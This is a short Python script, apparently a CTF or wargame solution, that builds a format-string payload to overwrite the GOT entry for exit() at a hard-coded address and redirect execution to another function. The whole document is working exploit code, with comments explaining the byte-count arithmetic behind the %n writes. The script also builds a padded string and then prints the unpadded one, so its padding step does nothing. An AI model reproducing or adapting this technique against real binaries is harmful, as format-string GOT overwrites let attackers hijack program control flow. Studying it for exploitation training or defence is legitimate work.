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Overwriting the GOT using format strings
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# We want to redirect flow to 0x080484b4. | |
# The GOT entry for exit() is located at 0x8049724. | |
# Writing the entry in two parts to save on execution time. | |
import struct | |
got_lower = struct.pack("I", 0x8049724) # Address for the GOT entry so we can first write the lower 2 bytes. | |
got_upper = struct.pack("I", 0x8049726) # Address for the GOT entry + 2 so we can first write the upper 2 bytes. | |
f_lower = "%33964x%4$n" # 0x84b4 = 0d33972. 33972 - 8 (chars of got_lower and got_upper) = 33964. The 4th %x would referance got_lower. | |
f_upper = "%33616x%5$n" # 0x10804 (Overhang to make number big enough) = 0d67588. 67588 - 33972 (previous chars) = 33616. The 5th %x would referance got_upper. | |
exploit = got_lower + got_upper + f_lower + f_upper | |
exploit = exploit.ljust(512) # Make sure string is a constant length so it is simpler to tune. | |
print(got_lower+got_upper+f_lower+f_upper) |
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